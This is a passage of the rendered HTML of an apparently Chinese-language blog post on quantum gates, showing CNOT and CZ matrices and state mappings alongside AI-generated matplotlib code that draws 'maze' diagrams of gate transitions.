style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}00\rangle \rightarrow \vert{}00\rangle \\ \vert{}01\rangle \rightarrow \vert{}11\rangle \\ \vert{}10\rangle \rightarrow \vert{}10\rangle \\ \vert{}11\rangle \rightarrow \vert{}01\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="cnot_maze.png" width="300"></td></tr><tr><td style="text-align:center">CZ</td><td style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mo>−</mo><mn>1</mn></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex">\begin{pmatrix} 1 &amp; 0 &amp; 0 &amp; 0 \\ 0 &amp; 1 &amp; 0 &amp; 0 \\ 0 &amp; 0 &amp; 1 &amp; 0 \\ 0 &amp; 0 &amp; 0 &amp; -1 \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.8em;vertical-align:-2.15em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M863,9c0,-2,-2,-5,-6,-9c0,0,-17,0,-17,0c-12.7,0,-19.3,0.3,-20,1c-5.3,5.3,-10.3,11,-15,17c-242.7,294.7,-395.3,682,-458,1162c-21.3,163.3,-33.3,349,-36,557 l0,1284c0.2,6,0,26,0,60c2,159.3,10,310.7,24,454c53.3,528,210,949.7,470,1265c4.7,6,9.7,11.7,15,17c0.7,0.7,7,1,19,1c0,0,18,0,18,0c4,-4,6,-7,6,-9c0,-2.7,-3.3,-8.7,-10,-18c-135.3,-192.7,-235.5,-414.3,-300.5,-665c-65,-250.7,-102.5,-544.7,-112.5,-882c-2,-104,-3,-167,-3,-189l0,-1292c0,-162.7,5.7,-314,17,-454c20.7,-272,63.7,-513,129,-723c65.3,-210,155.3,-396.3,270,-559c6.7,-9.3,10,-15.3,10,-18z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">−</span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.65em;"><span style="top:-4.65em;"><span class="pstrut" style="height:6.8em;"></span><span style="width:0.875em;height:4.8em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.875em" height="4.8em" viewBox="0 0 875 4800"><path d="M76,0c-16.7,0,-25,3,-25,9c0,2,2,6.3,6,13c21.3,28.7,42.3,60.3,63,95c96.7,156.7,172.8,332.5,228.5,527.5c55.7,195,92.8,416.5,111.5,664.5c11.3,139.3,17,290.7,17,454c0,28,1.7,43,3.3,45l0,1209c-3,4,-3.3,16.7,-3.3,38c0,162,-5.7,313.7,-17,455c-18.7,248,-55.8,469.3,-111.5,664c-55.7,194.7,-131.8,370.3,-228.5,527c-20.7,34.7,-41.7,66.3,-63,95c-2,3.3,-4,7,-6,11c0,7.3,5.7,11,17,11c0,0,11,0,11,0c9.3,0,14.3,-0.3,15,-1c5.3,-5.3,10.3,-11,15,-17c242.7,-294.7,395.3,-681.7,458,-1161c21.3,-164.7,33.3,-350.7,36,-558l0,-1344c-2,-159.3,-10,-310.7,-24,-454c-53.3,-528,-210,-949.7,-470,-1265c-4.7,-6,-9.7,-11.7,-15,-17c-0.7,-0.7,-6.7,-1,-18,-1z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.15em;"><span></span></span></span></span></span></span></span></span></span></span></td><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo>→</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mspace linebreak="newline"></mspace><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo>→</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo></mrow><annotation encoding="application/x-tex">\vert{}00\rangle \rightarrow \vert{}00\rangle \\ \vert{}01\rangle \rightarrow \vert{}01\rangle \\ \vert{}10\rangle \rightarrow \vert{}10\rangle \\ \vert{}11\rangle \rightarrow -\vert{}11\rangle</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">−</span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span></span></span></span></td><td style="text-align:center"><img src="cz_maze.png" width="300"></td></tr></tbody></table><blockquote><p>AI 好讚，幫我生出這些，難以想像手搓 LaTeX 和那個 Maze 要搞多久</p></blockquote><details><summary>生成 Maze 那幾張圖片的 code</summary><p>這也是 AI 生的w</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 定義顏色常數</span>COLOR_MAP <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'blue'</span><span class="token punctuation">:</span> <span class="token string">'#3498db'</span><span class="token punctuation">,</span>    <span class="token comment"># 正實數 (+1)</span>    <span class="token string">'red'</span><span class="token punctuation">:</span> <span class="token string">'#e74c3c'</span><span class="token punctuation">,</span>     <span class="token comment"># 負實數 (-1)</span>    <span class="token string">'gold'</span><span class="token punctuation">:</span> <span class="token string">'#f1c40f'</span><span class="token punctuation">,</span>    <span class="token comment"># 正虛數 (+i)</span>    <span class="token string">'purple'</span><span class="token punctuation">:</span> <span class="token string">'#9b59b6'</span>   <span class="token comment"># 負虛數 (-i)</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">draw_maze</span><span class="token punctuation">(</span>gate_name<span class="token punctuation">,</span> connections<span class="token punctuation">,</span> is_two_qubit<span class="token operator">=</span><span class="token boolean">False</span><span class="token punctuation">,</span> filename<span class="token operator">=</span><span class="token string">''</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    fig<span class="token punctuation">,</span> ax <span class="token operator">=</span> plt<span class="token punctuation">.</span>subplots<span class="token punctuation">(</span>figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">3.5</span><span class="token punctuation">,</span> <span class="token number">3.5</span> <span class="token keyword">if</span> is_two_qubit <span class="token keyword">else</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> is_two_qubit<span class="token punctuation">:</span>        <span class="token comment"># 在 IBM 標準下，由上到下排列：00, 01, 10, 11</span>        labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">]</span>        y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span>        y_lim <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">3.5</span><span class="token punctuation">)</span>    <span class="token keyword">else</span><span class="token punctuation">:</span>        labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">]</span>        y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span>        y_lim <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.4</span><span class="token punctuation">,</span> <span class="token number">1.4</span><span class="token punctuation">)</span>            <span class="token comment"># 畫輸入端節點</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token builtin">len</span><span class="token punctuation">(</span>y_positions<span class="token punctuation">)</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> label<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>        ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> label<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'right'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">12</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>            <span class="token comment"># 畫輸出端節點</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token builtin">len</span><span class="token punctuation">(</span>y_positions<span class="token punctuation">)</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> label<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>        ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token number">1.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> label<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'left'</span><span class="token punctuation">,</span> va<span class="token operator">=</span><span class="token string">'center'</span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">12</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">)</span>            <span class="token comment"># 連線映射</span>    label_to_y <span class="token operator">=</span> <span class="token punctuation">&#123;</span>l<span class="token punctuation">:</span> y <span class="token keyword">for</span> l<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> start_lbl<span class="token punctuation">,</span> end_lbl<span class="token punctuation">,</span> color_key <span class="token keyword">in</span> connections<span class="token punctuation">:</span>        start_y <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>start_lbl<span class="token punctuation">]</span>        end_y <span class="token operator">=</span> label_to_y<span class="token punctuation">[</span>end_lbl<span class="token punctuation">]</span>        color <span class="token operator">=</span> COLOR_MAP<span class="token punctuation">[</span>color_key<span class="token punctuation">]</span>        ax<span class="token punctuation">.</span>annotate<span class="token punctuation">(</span><span class="token string">''</span><span class="token punctuation">,</span> xy<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> end_y<span class="token punctuation">)</span><span class="token punctuation">,</span> xytext<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> start_y<span class="token punctuation">)</span><span class="token punctuation">,</span>                    arrowprops<span class="token operator">=</span><span class="token builtin">dict</span><span class="token punctuation">(</span>arrowstyle<span class="token operator">=</span><span class="token string">"->"</span><span class="token punctuation">,</span> color<span class="token operator">=</span>color<span class="token punctuation">,</span> lw<span class="token operator">=</span><span class="token number">3</span><span class="token punctuation">,</span> shrinkA<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">,</span> shrinkB<span class="token operator">=</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            ax<span class="token punctuation">.</span>set_xlim<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.5</span><span class="token punctuation">,</span> <span class="token number">1.5</span><span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>set_ylim<span class="token punctuation">(</span>y_lim<span class="token punctuation">)</span>    ax<span class="token punctuation">.</span>axis<span class="token punctuation">(</span><span class="token string">'off'</span><span class="token punctuation">)</span>    plt<span class="token punctuation">.</span>title<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">&#123;</span>gate_name<span class="token punctuation">&#125;</span></span><span class="token string"> Gate"</span></span><span class="token punctuation">,</span> fontsize<span class="token operator">=</span><span class="token number">15</span><span class="token punctuation">,</span> weight<span class="token operator">=</span><span class="token string">'bold'</span><span class="token punctuation">,</span> pad<span class="token operator">=</span><span class="token number">10</span><span class="token punctuation">)</span>    plt<span class="token punctuation">.</span>savefig<span class="token punctuation">(</span>filename<span class="token punctuation">,</span> bbox_inches<span class="token operator">=</span><span class="token string">'tight'</span><span class="token punctuation">,</span> dpi<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> transparent<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>    plt<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># ==== 執行繪製 ====</span><span class="token comment"># 一維閘保持不變</span>draw_maze<span class="token punctuation">(</span><span class="token string">'X'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'x_maze.png'</span><span class="token punctuation">)</span>draw_maze<span class="token punctuation">(</span><span class="token string">'Y'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'gold'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'purple'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'y_maze.png'</span><span class="token punctuation">)</span>draw_maze<span class="token punctuation">(</span><span class="token string">'Z'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token boolean">False</span><span class="token punctuation">,</span> <span class="token string">'z_maze.png'</span><span class="token punctuation">)</span>draw_maze<span class="token punctuation">(</span><span class="token string">'H'</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'0'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'1'</span><span class="token punctuation">,</span> <span class="token string">'red'</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span 